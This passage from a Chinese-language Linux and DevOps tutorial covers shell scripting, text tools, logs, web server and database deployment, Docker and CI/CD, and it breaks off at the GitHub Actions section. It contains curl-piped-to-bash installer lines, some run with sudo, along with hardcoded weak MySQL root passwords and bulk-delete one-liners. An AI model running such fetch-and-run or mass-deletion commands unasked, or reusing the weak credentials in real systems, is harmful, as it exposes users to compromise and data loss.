定义: Shell 是 Linux 的命令行解释器,用于接收用户输入的命令并执行。

常见 Shell:

  • Bash(Bourne Again Shell):最常用,大多数发行版默认 Shell
  • Zsh(Z Shell):功能强大,支持插件
  • sh(Bourne Shell):早期标准 Shell
  • Fish:友好交互的 Shell

查看当前 Shell:

echo $SHELL                     # 查看当前Shell
cat /etc/shells                 # 查看系统可用的Shell

77. Shell 脚本

定义: Shell 脚本是将一系列命令保存到文件中,按顺序执行的程序。

基本结构:

#!/bin/bash                     # Shebang(指定解释器)

# 注释
echo "Hello World"              # 输出

# 变量
NAME="John"
echo "Hello $NAME"

# 条件判断
if [ -f "file.txt" ]; then
    echo "File exists"
elif [ -d "file.txt" ]; then
    echo "Is directory"
else
    echo "Not found"
fi

# 循环
for i in 1 2 3; do
    echo $i
done

# 函数
my_function() {
    echo "Function called"
}
my_function

执行方式:

./script.sh                     # 需要执行权限
bash script.sh                  # 不需要执行权限
source script.sh                # 在当前Shell执行
. script.sh                     # 同source

78. Bash

定义: Bash 是 GNU 项目的 Shell,是 sh 的增强版。

特性:

  • 命令补全(Tab)
  • 命令历史
  • 别名
  • 变量
  • 条件判断
  • 循环
  • 函数
  • 管道
  • 重定向

79. Shell 变量

定义: Shell 变量是存储数据的容器。

变量类型:

  • 环境变量:全局变量,对所有进程可见
  • 局部变量:仅在当前 Shell 可见
# 定义变量
NAME="John"
AGE=25

# 使用变量
echo $NAME
echo ${NAME}

# 环境变量
export PATH="/usr/local/bin:$PATH"

# 特殊变量
$0          # 脚本名
$1, $2...   # 参数
$#          # 参数个数
$@          # 所有参数
$?          # 上一个命令的退出状态
$$          # 当前进程PID
$!          # 最后一个后台进程PID

80. Shell 条件判断

定义: 条件判断用于根据条件执行不同的代码块。

文件测试:

[ -f file ]       # 文件存在
[ -d dir ]        # 目录存在
[ -e path ]       # 路径存在
[ -r file ]       # 可读
[ -w file ]       # 可写
[ -x file ]       # 可执行
[ -s file ]       # 非空文件

字符串比较:

[ "$a" = "$b" ]     # 相等
[ "$a" != "$b" ]    # 不等
[ -z "$a" ]         # 空字符串
[ -n "$a" ]         # 非空字符串

数值比较:

[ $a -eq $b ]       # 等于
[ $a -ne $b ]       # 不等于
[ $a -gt $b ]       # 大于
[ $a -lt $b ]       # 小于
[ $a -ge $b ]       # 大于等于
[ $a -le $b ]       # 小于等于

逻辑运算:

[ $a -gt 0 ] && [ $a -lt 10 ]    # 与
[ $a -eq 0 ] || [ $a -eq 1 ]     # 或
[ ! $a -eq 0 ]                   # 非

81. Shell 循环

定义: 循环用于重复执行代码块。

for 循环:

# 基本for
for i in 1 2 3; do
    echo $i
done

# 范围
for i in {1..10}; do
    echo $i
done

# C风格
for ((i=0; i<10; i++)); do
    echo $i
done

# 遍历文件
for file in *.txt; do
    echo $file
done

while 循环:

count=0
while [ $count -lt 10 ]; do
    echo $count
    ((count++))
done

# 读取文件
while read line; do
    echo $line
done < file.txt

until 循环:

count=0
until [ $count -ge 10 ]; do
    echo $count
    ((count++))
done

82. Shell 函数

定义: 函数是可重复使用的代码块。

# 定义函数
function_name() {
    echo "Hello $1"
    return 0
}

# 调用函数
function_name "World"

# 带返回值
add() {
    echo $(($1 + $2))
}
result=$(add 3 5)
echo $result

83. Shell 参数

定义: Shell 参数是传递给脚本或函数的值。

#!/bin/bash
echo "脚本名: $0"
echo "第一个参数: $1"
echo "第二个参数: $2"
echo "所有参数: $@"
echo "参数个数: $#"

shift 命令: 将参数向左移动

while [ $# -gt 0 ]; do
    echo $1
    shift
done

84. Shell 运算符

定义: Shell 支持多种运算符用于数值计算。

算术运算:

expr 5 + 3                    # 使用expr
echo $((5 + 3))               # 使用$(( ))
echo $[5 + 3]                 # 使用$[ ]
let "a=5+3"                   # 使用let

常用运算符:

  • + 加法
  • - 减法
  • * 乘法
  • / 除法
  • % 取模
  • ** 幂运算

85. Shell 字符串处理

定义: Shell 提供多种方式处理字符串。

str="Hello World"

# 长度
echo ${#str}

# 截取
echo ${str:0:5}           # Hello
echo ${str:6}             # World

# 替换
echo ${str/World/Bash}    # Hello Bash
echo ${str//l/L}          # HeLLo Bash(全部替换)

# 删除
echo ${str#Hello}         #  World(删除前缀)
echo ${str%World}         # Hello (删除后缀)

# 大小写转换
echo ${str^^}             # HELLO WORLD(大写)
echo ${str,,}             # hello world(小写)

86. Shell 数组

定义: Shell 数组是存储多个值的变量。

# 定义数组
arr=(apple banana cherry)

# 访问元素
echo ${arr[0]}            # apple
echo ${arr[@]}            # 所有元素
echo ${#arr[@]}           # 数组长度

# 添加元素
arr+=(date)

# 删除元素
unset arr[1]

# 遍历
for item in ${arr[@]}; do
    echo $item
done

87. Shell 重定向

定义: 重定向用于改变命令的输入输出流向。

# 标准输出重定向
command > file.txt          # 覆盖输出
command >> file.txt         # 追加输出

# 标准错误重定向
command 2> error.txt        # 错误输出到文件

# 重定向标准输出和错误
command > file.txt 2>&1     # 全部输出到文件
command &> file.txt         # 简写(Bash)

# 标准输入重定向
command < file.txt          # 从文件读取输入
command << EOF              # here document
line 1
line 2
EOF

# /dev/null(黑洞)
command > /dev/null 2>&1    # 丢弃所有输出

文件描述符:

  • 0:标准输入(stdin)
  • 1:标准输出(stdout)
  • 2:标准错误(stderr)

88. Shell 管道

定义: 管道 | 将前一个命令的输出作为后一个命令的输入。

ls -l | grep ".txt"         # 查找txt文件
cat file.txt | wc -l        # 统计行数
ps aux | grep nginx | wc -l # 统计nginx进程数
cat file.txt | sort | uniq  # 排序并去重

最佳实践: 管道可以连接多个命令,形成数据处理流水线。


89. Shell 通配符

定义: 通配符用于模式匹配文件名。

*           # 匹配任意字符(0或多个)
?           # 匹配单个字符
[abc]       # 匹配a、b或c
[a-z]       # 匹配a到z
[0-9]       # 匹配0到9
!pattern    # 不匹配

示例:

ls *.txt                    # 所有txt文件
ls file?.txt                # file1.txt, file2.txt等
ls [abc]*.txt               # 以a、b或c开头的txt文件

90. Shell 正则表达式

定义: 正则表达式是用于模式匹配的字符串模式。

基本正则:

.           # 任意字符
*           # 前一个字符0次或多次
^           # 行首
$           # 行尾
[]          # 字符集
[^]         # 否定字符集
\           # 转义

扩展正则(需使用 -E 或 \):

+           # 前一个字符1次或多次
?           # 前一个字符0次或1次
|           # 或
()          # 分组
{}          # 重复次数

91-92. crontab 与定时任务

定义: crontab 用于设置周期性执行的任务。

使用:

crontab -l                    # 查看定时任务
crontab -e                    # 编辑定时任务
crontab -r                    # 删除所有定时任务

格式:

分 时 日 月 周 命令

示例:

# 每天凌晨2点执行
0 2 * * * /path/to/script.sh

# 每5分钟执行
*/5 * * * * /path/to/script.sh

# 每周一9点执行
0 9 * * 1 /path/to/script.sh

# 每月1号执行
0 0 1 * * /path/to/script.sh

特殊字符串:

@reboot     # 启动时
@yearly     # 每年
@monthly    # 每月
@weekly     # 每周
@daily      # 每天
@hourly     # 每小时

六、常用工具(grep、awk、sed)

93. grep - 文本搜索

定义: grep (Global Regular Expression Print) 用于在文件中搜索匹配的行。

grep "pattern" file.txt                   # 搜索
grep -i "pattern" file.txt                # 不区分大小写
grep -n "pattern" file.txt                # 显示行号
grep -v "pattern" file.txt                # 反向匹配(不包含)
grep -r "pattern" /path/                  # 递归搜索
grep -c "pattern" file.txt                # 统计匹配行数
grep -l "pattern" *.txt                   # 显示匹配的文件名
grep -E "pattern" file.txt                # 使用扩展正则

94. grep 正则表达式

定义: grep 支持基本正则和扩展正则表达式。

基本正则:

grep "^start" file.txt              # 以start开头
grep "end$" file.txt                # 以end结尾
grep "[0-9]" file.txt               # 匹配数字
grep "[A-Z]" file.txt               # 匹配大写字母

扩展正则(-E 或 egrep):

grep -E "pattern1|pattern2" file.txt    # 或
grep -E "colou?r" file.txt              # 0次或1次
grep -E "ab+c" file.txt                 # 1次或多次
grep -E "(ab)+" file.txt                # 分组

95. awk - 文本处理工具

定义: awk 是强大的文本处理工具,按行处理结构化数据。

基本用法:

awk '{print $1}' file.txt                   # 打印第一列
awk '{print $1, $3}' file.txt               # 打印第1、3列
awk -F: '{print $1}' /etc/passwd            # 指定分隔符
awk '/pattern/ {print $0}' file.txt         # 匹配模式
awk 'NR==1 {print}' file.txt                # 打印第一行
awk 'END {print NR}' file.txt               # 打印总行数
awk '{sum+=$1} END {print sum}' file.txt    # 求和

内置变量:

  • $0:整行
  • $1, $2...:各列
  • NR:行号
  • NF:列数
  • FS:输入分隔符
  • OFS:输出分隔符

96. awk 文本处理

定义: awk 支持复杂的文本处理逻辑。

# 条件处理
awk '$3 > 100 {print $1, $3}' file.txt

# 格式化输出
awk '{printf "%-10s %5d\n", $1, $2}' file.txt

# 数组统计
awk '{count[$1]++} END {for (k in count) print k, count[k]}' file.txt

# 多文件处理
awk '{print FILENAME, $0}' file1.txt file2.txt

97. sed - 流编辑器

定义: sed (Stream EDitor) 用于对文本进行流式编辑。

基本用法:

sed 's/old/new/g' file.txt              # 替换所有
sed 's/old/new/' file.txt               # 只替换每行第一个
sed '2s/old/new/' file.txt              # 只替换第2行
sed '/pattern/s/old/new/' file.txt      # 匹配模式的行替换
sed -i 's/old/new/g' file.txt           # 直接修改文件

98. sed 文本替换

定义: sed 最常用于文本替换。

# 删除行
sed '3d' file.txt                       # 删除第3行
sed '/pattern/d' file.txt               # 删除匹配的行
sed '1,5d' file.txt                     # 删除1-5行

# 插入行
sed '3i\new line' file.txt              # 在第3行前插入
sed '3a\new line' file.txt              # 在第3行后追加

# 多行操作
sed -n '2,5p' file.txt                  # 打印2-5行

99. cut - 提取列

定义: cut 命令用于提取文本的指定列。

cut -d: -f1 /etc/passwd                 # 以:分隔,取第1列
cut -d: -f1,3 /etc/passwd               # 取第1、3列
cut -c1-5 file.txt                      # 取第1-5个字符
cut -f2-4 file.txt                      # 取第2-4列(默认Tab分隔)

100. sort - 排序

定义: sort 命令用于对文本行排序。

sort file.txt                           # 默认按字母排序
sort -n file.txt                        # 按数值排序
sort -r file.txt                        # 逆序
sort -u file.txt                        # 去重
sort -k2 file.txt                       # 按第2列排序
sort -t: -k3 -n /etc/passwd             # 以:分隔,按第3列数值排序

101. uniq - 去重

定义: uniq 命令用于去除相邻的重复行。

uniq file.txt                           # 去重(需先排序)
sort file.txt | uniq                    # 排序后去重
sort file.txt | uniq -c                 # 统计重复次数
sort file.txt | uniq -d                 # 只显示重复行
sort file.txt | uniq -u                 # 只显示不重复的行

102. wc - 统计

定义: wc (word count) 命令用于统计行数、词数、字节数。

wc file.txt                             # 行数、词数、字节数
wc -l file.txt                          # 只统计行数
wc -w file.txt                          # 只统计词数
wc -c file.txt                          # 只统计字节数
wc -m file.txt                          # 只统计字符数

103. diff - 比较文件

定义: diff 命令用于比较两个文件的差异。

diff file1.txt file2.txt                # 比较文件
diff -u file1.txt file2.txt             # 统一格式输出
diff -r dir1/ dir2/                     # 递归比较目录
diff -y file1.txt file2.txt             # 并排显示差异

104. patch - 应用补丁

定义: patch 命令用于将 diff 生成的补丁应用到文件。

diff -u file1.txt file2.txt > patch.diff    # 生成补丁
patch file1.txt < patch.diff                # 应用补丁
patch -p1 < patch.diff                      # 应用补丁(去除路径前缀)

105. tr - 转换字符

定义: tr (translate) 命令用于转换或删除字符。

echo "hello" | tr 'a-z' 'A-Z'           # 转大写
echo "HELLO" | tr 'A-Z' 'a-z'           # 转小写
echo "hello" | tr -d 'l'                # 删除字符l
echo "hello" | tr -s 'l'                # 压缩重复字符
tr '\n' ',' < file.txt                  # 换行符替换为逗号

106. xargs - 构建命令行

定义: xargs 命令从标准输入构建并执行命令行。

find . -name "*.txt" | xargs rm         # 查找并删除
find . -name "*.txt" | xargs -I {} mv {} /dest/   # 逐个处理
cat files.txt | xargs -n 2              # 每行2个参数
cat files.txt | xargs -I {} echo "File: {}"       # 替换参数

常用参数:

  • -n:每行参数个数
  • -I:替换字符串
  • -d:分隔符
  • -p:执行前提示

七、日志查看与分析

107. 日志

定义: Linux 日志是系统和服务运行过程中记录的事件信息。

日志级别:

  • DEBUG:调试信息
  • INFO:一般信息
  • WARNING:警告
  • ERROR:错误
  • CRITICAL:严重错误

108. 日志查看

定义: 日志查看是使用工具查看和分析日志文件。

tail -f /var/log/syslog                 # 实时查看
less /var/log/syslog                    # 分页查看
grep "error" /var/log/syslog            # 搜索错误
journalctl -f                           # 实时查看系统日志

109. /var/log

定义: /var/log 是 Linux 系统日志的标准存储目录。

常见日志文件:

/var/log/syslog         # 系统日志(Debian/Ubuntu)
/var/log/messages       # 系统日志(CentOS/RHEL)
/var/log/auth.log       # 认证日志
/var/log/kern.log       # 内核日志
/var/log/dpkg.log       # 包管理日志
/var/log/nginx/         # Nginx日志
/var/log/mysql/         # MySQL日志
/var/log/boot.log       # 启动日志
/var/log/cron           # 定时任务日志

110. journalctl - 系统日志管理

定义: journalctl 是 systemd 系统的日志查看工具。

journalctl                              # 查看所有日志
journalctl -u nginx                     # 查看特定服务日志
journalctl -f                           # 实时查看
journalctl --since "2024-03-01"         # 查看指定时间后
journalctl --until "2024-03-15"         # 查看指定时间前
journalctl -p err                       # 查看错误级别
journalctl -xe                          # 详细输出
journalctl --disk-usage                 # 查看日志占用
journalctl --vacuum-time=2d             # 清理2天前的日志

111. syslog - 系统日志服务

定义: syslog 是 Linux 的系统日志服务。

配置文件: /etc/syslog.conf/etc/rsyslog.conf

日志设施:

  • auth:认证相关
  • authpriv:特权认证
  • cron:定时任务
  • daemon:守护进程
  • kern:内核
  • mail:邮件
  • user:用户程序

112. dmesg - 内核日志

定义: dmesg 命令用于查看内核环形缓冲区消息。

dmesg                                   # 查看所有内核日志
dmesg | tail                            # 查看最新内核日志
dmesg -T                                # 显示人类可读时间
dmesg | grep -i error                   # 搜索错误
dmesg | grep -i usb                     # 查看USB设备信息

113. last - 登录历史

定义: last 命令用于查看用户登录历史记录。

last                                    # 查看所有登录记录
last username                           # 查看特定用户
last -10                                # 查看最近10条
last reboot                             # 查看重启记录

114. lastb - 失败登录记录

定义: lastb 命令用于查看登录失败的记录。

lastb                                   # 查看所有失败登录
lastb username                          # 查看特定用户失败记录

注意: 需要 root 权限才能查看。


115. who - 查看当前登录用户

定义: who 命令用于查看当前登录的用户信息。

who                                     # 查看当前登录用户
who -u                                  # 显示详细信息
who am i                                # 查看当前终端用户

116. w - 用户活动信息

定义: w 命令用于查看当前登录用户及其活动。

w                                       # 查看用户活动
w username                              # 查看特定用户

输出: 显示用户名、终端、登录时间、空闲时间、当前命令。


117. 日志分析

定义: 日志分析是从日志中提取有用信息的过程。

常用工具:

# 统计访问量
awk '{print $1}' access.log | sort | uniq -c | sort -rn

# 查看错误
grep "ERROR" app.log | tail -20

# 查看特定时间段
sed -n '/2024-03-01 10:00/,/2024-03-01 11:00/p' app.log

# 统计状态码
awk '{print $9}' access.log | sort | uniq -c | sort -rn

# 查找慢请求
awk '$NF > 1 {print}' access.log

118-119. 日志轮转与 logrotate

定义: 日志轮转是定期归档、压缩和删除旧日志的机制。

logrotate 配置:

# 配置文件
/etc/logrotate.conf                     # 主配置
/etc/logrotate.d/                       # 服务配置目录

示例配置:

/var/log/nginx/*.log {
    daily                               # 每天轮转
    missingok                           # 日志不存在不报错
    rotate 7                            # 保留7个备份
    compress                            # 压缩旧日志
    delaycompress                       # 延迟压缩(上一次不压缩)
    notifempty                          # 空文件不轮转
    create 0644 www-data www-data       # 创建新文件的权限
    sharedscripts                       # 只执行一次postrotate
    postrotate
        systemctl reload nginx
    endscript
}

手动执行:

logrotate /etc/logrotate.conf           # 执行轮转
logrotate -d /etc/logrotate.conf        # 调试模式
logrotate -f /etc/logrotate.conf        # 强制执行

八、服务器部署

120. 服务器部署

定义: 服务器部署是将应用程序安装、配置到服务器上并使其可访问的过程。

部署流程:

  1. 安装运行环境(Node.js、Python、Java 等)
  2. 安装 Web 服务器(Nginx、Apache)
  3. 安装数据库(MySQL、PostgreSQL)
  4. 配置反向代理
  5. 配置 SSL 证书
  6. 配置防火墙
  7. 启动服务
  8. 监控和维护

121. Nginx 安装

Ubuntu/Debian:

sudo apt update
sudo apt install nginx
sudo systemctl start nginx
sudo systemctl enable nginx

CentOS/RHEL:

sudo yum install epel-release
sudo yum install nginx
sudo systemctl start nginx
sudo systemctl enable nginx

122. Nginx 配置

配置文件:

/etc/nginx/nginx.conf                   # 主配置
/etc/nginx/sites-available/             # 站点配置
/etc/nginx/sites-enabled/               # 启用的站点

基本配置:

server {
    listen 80;
    server_name example.com;
    root /var/www/html;
    index index.html;

    location / {
        try_files $uri $uri/ =404;
    }

    location /api {
        proxy_pass http://localhost:3000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

常用命令:

nginx -t                                # 测试配置
systemctl reload nginx                  # 重载配置
systemctl restart nginx                 # 重启服务

123. Apache 安装

Ubuntu/Debian:

sudo apt update
sudo apt install apache2
sudo systemctl start apache2
sudo systemctl enable apache2

CentOS/RHEL:

sudo yum install httpd
sudo systemctl start httpd
sudo systemctl enable httpd

124. Apache 配置

配置文件:

/etc/apache2/apache2.conf               # 主配置(Ubuntu)
/etc/httpd/conf/httpd.conf              # 主配置(CentOS)
/etc/apache2/sites-available/           # 站点配置(Ubuntu)

基本配置:

<VirtualHost *:80>
    ServerName example.com
    DocumentRoot /var/www/html
    
    <Directory /var/www/html>
        AllowOverride All
        Require all granted
    </Directory>
    
    ProxyPass /api http://localhost:3000
    ProxyPassReverse /api http://localhost:3000
</VirtualHost>

常用命令:

apachectl configtest                    # 测试配置
systemctl reload apache2                # 重载配置
a2ensite site.conf                      # 启用站点(Ubuntu)
a2dissite site.conf                     # 禁用站点(Ubuntu)
a2enmod proxy                           # 启用模块(Ubuntu)

125. MySQL 安装

Ubuntu/Debian:

sudo apt update
sudo apt install mysql-server
sudo systemctl start mysql
sudo systemctl enable mysql
sudo mysql_secure_installation          # 安全配置

CentOS/RHEL:

sudo yum install mysql-server
sudo systemctl start mysqld
sudo systemctl enable mysqld

126. MySQL 配置

配置文件:

/etc/mysql/mysql.conf.d/mysqld.cnf      # Ubuntu
/etc/my.cnf                             # CentOS

常用命令:

mysql -u root -p                        # 登录MySQL
SHOW DATABASES;                         # 显示数据库
CREATE DATABASE mydb;                   # 创建数据库
CREATE USER 'user'@'localhost' IDENTIFIED BY 'password';  # 创建用户
GRANT ALL PRIVILEGES ON mydb.* TO 'user'@'localhost';     # 授权
FLUSH PRIVILEGES;                       # 刷新权限

127. Node.js 安装

使用 NVM(推荐):

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash
nvm install --lts
nvm use --lts

使用包管理器:

# Ubuntu
curl -fsSL https://deb.nodesource.com/setup_lts.x | sudo -E bash -
sudo apt install nodejs

# CentOS
curl -fsSL https://rpm.nodesource.com/setup_lts.x | sudo bash -
sudo yum install nodejs

验证安装:

node -v                                 # 查看版本
npm -v                                  # 查看npm版本

128. PM2 部署

定义: PM2 是 Node.js 进程管理器。

npm install -g pm2                      # 安装
pm2 start app.js                        # 启动应用
pm2 start app.js -i max                 # 集群模式(最大进程数)
pm2 list                                # 列出进程
pm2 stop app                            # 停止
pm2 restart app                         # 重启
pm2 delete app                          # 删除
pm2 logs                                # 查看日志
pm2 monit                               # 监控
pm2 startup                             # 设置开机自启
pm2 save                                # 保存当前进程列表

** ecosystem 配置:**

module.exports = {
  apps: [{
    name: 'myapp',
    script: 'app.js',
    instances: 'max',
    exec_mode: 'cluster',
    env: {
      NODE_ENV: 'production',
      PORT: 3000
    }
  }]
};
pm2 start ecosystem.config.js           # 使用配置启动

129. 反向代理

定义: 反向代理是位于客户端和服务器之间的代理服务器,转发客户端请求到后端服务器。

Nginx 配置:

server {
    listen 80;
    server_name example.com;

    location / {
        proxy_pass http://localhost:3000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

优势:

  • 负载均衡
  • SSL 终止
  • 缓存
  • 安全防护
  • 隐藏后端服务器

130. 负载均衡

定义: 负载均衡是将流量分配到多个后端服务器。

Nginx 配置:

upstream backend {
    server 192.168.1.10:3000;
    server 192.168.1.11:3000;
    server 192.168.1.12:3000;
}

server {
    listen 80;
    location / {
        proxy_pass http://backend;
    }
}

负载均衡策略:

  • round-robin:轮询(默认)
  • least_conn:最少连接
  • ip_hash:按 IP 哈希
  • weight:权重
upstream backend {
    server 192.168.1.10:3000 weight=3;
    server 192.168.1.11:3000 weight=1;
    least_conn;
}

131. SSL 证书

定义: SSL 证书用于加密网络通信。

获取证书(Let's Encrypt):

sudo apt install certbot python3-certbot-nginx
sudo certbot --nginx -d example.com -d www.example.com

证书文件:

  • .crt.pem:证书文件
  • .key:私钥文件

132. HTTPS 配置

Nginx HTTPS 配置:

server {
    listen 443 ssl;
    server_name example.com;

    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;

    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers HIGH:!aNULL:!MD5;

    location / {
        proxy_pass http://localhost:3000;
    }
}

# HTTP重定向到HTTPS
server {
    listen 80;
    server_name example.com;
    return 301 https://$server_name$request_uri;
}

九、Docker 基础

133-134. Docker 是什么?

定义: Docker 是一个开源的容器化平台,用于开发、交付和运行应用程序。

原理: Docker 使用 Linux 内核特性(cgroups、namespaces)实现资源隔离和限制,使应用及其依赖打包成独立的容器。

核心概念:

  • 镜像(Image):只读模板,包含应用和依赖
  • 容器(Container):镜像的运行实例
  • Dockerfile:构建镜像的脚本
  • 仓库(Registry):存储和分发镜像
  • 数据卷(Volume):持久化数据

优势:

  • 环境一致性
  • 快速部署
  • 资源隔离
  • 轻量级(共享主机内核)
  • 易于扩展

135. Docker 安装

Ubuntu/Debian:

sudo apt update
sudo apt install docker.io
sudo systemctl start docker
sudo systemctl enable docker
sudo usermod -aG docker $USER           # 添加用户到docker组

CentOS/RHEL:

sudo yum install docker
sudo systemctl start docker
sudo systemctl enable docker

验证安装:

docker --version
docker run hello-world

136. Docker 镜像

定义: Docker 镜像是只读模板,包含运行应用所需的所有内容。

docker images                           # 列出镜像
docker pull nginx                       # 下载镜像
docker pull nginx:latest                # 指定标签
docker rmi nginx                        # 删除镜像
docker rmi -f nginx                     # 强制删除
docker tag nginx mynginx:1.0            # 标记镜像
docker save nginx -o nginx.tar          # 导出镜像
docker load -i nginx.tar                # 导入镜像
docker history nginx                    # 查看镜像历史

137. Docker 容器

定义: 容器是镜像的运行实例,包含运行中的应用。

docker ps                               # 查看运行中的容器
docker ps -a                            # 查看所有容器
docker run -d --name mynginx nginx      # 启动容器
docker stop mynginx                     # 停止容器
docker start mynginx                    # 启动已停止的容器
docker restart mynginx                  # 重启容器
docker rm mynginx                       # 删除容器
docker rm -f mynginx                    # 强制删除运行中的容器
docker logs mynginx                     # 查看日志
docker logs -f mynginx                  # 实时查看日志
docker exec -it mynginx bash            # 进入容器
docker inspect mynginx                  # 查看容器详情
docker top mynginx                      # 查看容器进程
docker stats                            # 查看资源使用

138. docker pull

定义: docker pull 用于从仓库下载镜像。

docker pull nginx                       # 下载latest标签
docker pull nginx:1.21                  # 下载指定标签
docker pull ubuntu:20.04                # 下载Ubuntu 20.04

139. docker run

定义: docker run 用于从镜像启动容器。

docker run nginx                        # 基本运行
docker run -d nginx                     # 后台运行
docker run -d --name web nginx          # 指定名称
docker run -d -p 8080:80 nginx          # 端口映射
docker run -d -v /data:/var/www nginx   # 挂载数据卷
docker run -d -e MYSQL_ROOT_PASSWORD=123 mysql  # 设置环境变量
docker run -it ubuntu bash              # 交互式运行
docker run --restart=always nginx       # 自动重启

常用参数:

  • -d:后台运行
  • -p:端口映射(主机:容器)
  • -v:挂载卷
  • -e:环境变量
  • --name:容器名称
  • -it:交互式终端
  • --restart:重启策略

140. docker ps

定义: docker ps 用于列出容器。

docker ps                               # 运行中的容器
docker ps -a                            # 所有容器
docker ps -l                            # 最近一个容器
docker ps -q                            # 只显示ID
docker ps --filter "status=exited"      # 过滤已退出容器

141. docker stop

定义: docker stop 用于优雅停止容器。

docker stop container_id                # 停止容器(默认10秒超时)
docker stop -t 30 container_id          # 30秒后停止
docker stop $(docker ps -q)             # 停止所有容器

142. docker rm

定义: docker rm 用于删除容器。

docker rm container_id                  # 删除已停止的容器
docker rm -f container_id               # 强制删除运行中的容器
docker rm $(docker ps -aq)              # 删除所有容器
docker rm $(docker ps -f "status=exited" -q)    # 删除已退出容器

143. docker rmi

定义: docker rmi 用于删除镜像。

docker rmi image_id                     # 删除镜像
docker rmi -f image_id                  # 强制删除
docker rmi $(docker images -q)          # 删除所有镜像
docker image prune                      # 清理无用镜像
docker image prune -a                   # 清理所有未使用镜像

144. docker build

定义: docker build 用于从 Dockerfile 构建镜像。

docker build -t myapp:1.0 .             # 构建镜像
docker build -t myapp:1.0 -f Dockerfile.prod .    # 指定Dockerfile
docker build --no-cache -t myapp:1.0 .  # 不使用缓存

145. Dockerfile

定义: Dockerfile 是构建 Docker 镜像的脚本文件。

示例:

FROM node:18-alpine                     # 基础镜像
WORKDIR /app                            # 工作目录
COPY package*.json ./                   # 复制依赖文件
RUN npm install                         # 安装依赖
COPY . .                                # 复制应用代码
EXPOSE 3000                             # 暴露端口
CMD ["node", "app.js"]                  # 启动命令

常用指令:

  • FROM:基础镜像
  • WORKDIR:工作目录
  • COPY:复制文件
  • ADD:复制文件(支持URL和自动解压)
  • RUN:执行命令
  • EXPOSE:暴露端口
  • ENV:环境变量
  • CMD:默认命令
  • ENTRYPOINT:入口点
  • VOLUME:数据卷
  • USER:用户

146. docker-compose

定义: docker-compose 用于定义和运行多容器 Docker 应用。

docker-compose.yml:

version: '3.8'
services:
  web:
    build: .
    ports:
      - "3000:3000"
    environment:
      - NODE_ENV=production
    depends_on:
      - db
  db:
    image: mysql:8
    environment:
      - MYSQL_ROOT_PASSWORD=123456
    volumes:
      - db_data:/var/lib/mysql
volumes:
  db_data:

常用命令:

docker-compose up                       # 启动服务
docker-compose up -d                    # 后台启动
docker-compose down                     # 停止并删除
docker-compose logs                     # 查看日志
docker-compose ps                       # 查看状态
docker-compose build                    # 构建服务
docker-compose restart                  # 重启服务

147. Docker 网络

定义: Docker 网络用于容器之间的通信。

网络模式:

  • bridge:默认网络,容器通过虚拟网桥通信
  • host:使用主机网络
  • none:无网络
  • overlay:跨主机网络
docker network ls                       # 列出网络
docker network create mynet             # 创建网络
docker run -d --network mynet nginx     # 使用自定义网络
docker network inspect mynet            # 查看网络详情

容器通信:

docker run -d --name web --network mynet nginx
docker run -d --name api --network mynet myapi
# 容器可以通过名称互相访问

148. Docker 数据卷

定义: Docker 数据卷用于持久化容器数据。

docker volume ls                        # 列出卷
docker volume create mydata             # 创建卷
docker run -d -v mydata:/data nginx     # 挂载卷
docker run -d -v /host/path:/container/path nginx  # 绑定挂载
docker volume inspect mydata            # 查看卷详情
docker volume rm mydata                 # 删除卷

数据持久化方式:

  • 数据卷(Volume):Docker 管理,存储在 /var/lib/docker/volumes/
  • 绑定挂载(Bind Mount):指定主机路径
  • tmpfs 挂载:存储在内存中

149. Docker 常用命令

# 镜像
docker images                           # 列出镜像
docker pull nginx                       # 下载镜像
docker push myimage                     # 推送镜像
docker rmi myimage                      # 删除镜像
docker build -t myimage .               # 构建镜像

# 容器
docker ps                               # 列出容器
docker run -d nginx                     # 运行容器
docker stop/start/restart container     # 停止/启动/重启
docker rm container                     # 删除容器
docker logs container                   # 查看日志
docker exec -it container bash          # 进入容器

# 清理
docker system df                        # 查看磁盘使用
docker system prune                     # 清理无用资源
docker image prune                      # 清理无用镜像
docker container prune                  # 清理已停止容器

十、CI/CD 流程

150. CI/CD

定义: CI/CD 是持续集成(Continuous Integration)和持续交付/部署(Continuous Delivery/Deployment)的缩写。

核心概念:

  • 持续集成(CI):频繁地将代码集成到主干,每次集成都通过自动化构建和测试验证
  • 持续交付(CD):确保代码可以随时安全地发布到生产环境
  • 持续部署(CD):自动化将通过测试的代码部署到生产环境

优势:

  • 快速发现和修复问题
  • 减少集成问题
  • 提高交付速度
  • 降低发布风险
  • 自动化重复任务

151. 持续集成

定义: 持续集成是开发人员频繁地将代码合并到共享仓库,并通过自动化构建和测试验证。

流程:

  1. 开发人员提交代码到版本控制
  2. CI 系统检测到代码变更
  3. 自动拉取最新代码
  4. 自动构建项目
  5. 运行自动化测试
  6. 生成测试报告
  7. 通知构建结果

工具: Jenkins、GitLab CI、GitHub Actions、Travis CI、CircleCI


152. 持续部署

定义: 持续部署是通过自动化流程将通过测试的代码部署到生产环境。

流程:

  1. 代码通过 CI 测试
  2. 自动部署到测试环境
  3. 运行集成测试
  4. 自动部署到生产环境
  5. 监控和回滚机制

最佳实践:

  • 自动化所有测试
  • 使用基础设施即代码
  • 蓝绿部署或金丝雀发布
  • 监控和告警
  • 快速回滚机制

153. Jenkins

定义: Jenkins 是开源的自动化服务器,支持 CI/CD。

特点:

  • 开源免费
  • 丰富的插件生态
  • 支持多种语言
  • 分布式构建
  • Pipeline as Code

Pipeline 示例:

pipeline {
    agent any
    stages {
        stage('Build') {
            steps {
                sh 'npm install'
                sh 'npm run build'
            }
        }
        stage('Test') {
            steps {
                sh 'npm test'
            }
        }
        stage('Deploy') {
            steps {
                sh 'scp -r dist/ user@server:/var/www/'
            }
        }
    }
}

154. GitLab CI

定义: GitLab CI 是 GitLab 内置的 CI/CD 工具。

配置文件:.gitlab-ci.yml

stages:
  - build
  - test
  - deploy

build:
  stage: build
  script:
    - npm install
    - npm run build

test:
  stage: test
  script:
    - npm test

deploy:
  stage: deploy
  script:
    - scp -r dist/ user@server:/var/www/
  only:
    - main

155. GitHub Actions

定义: GitHub Actions 是 GitHub 提供的 CI/CD 服务。

配置文件:.github/workflows/ci.yml

name: CI
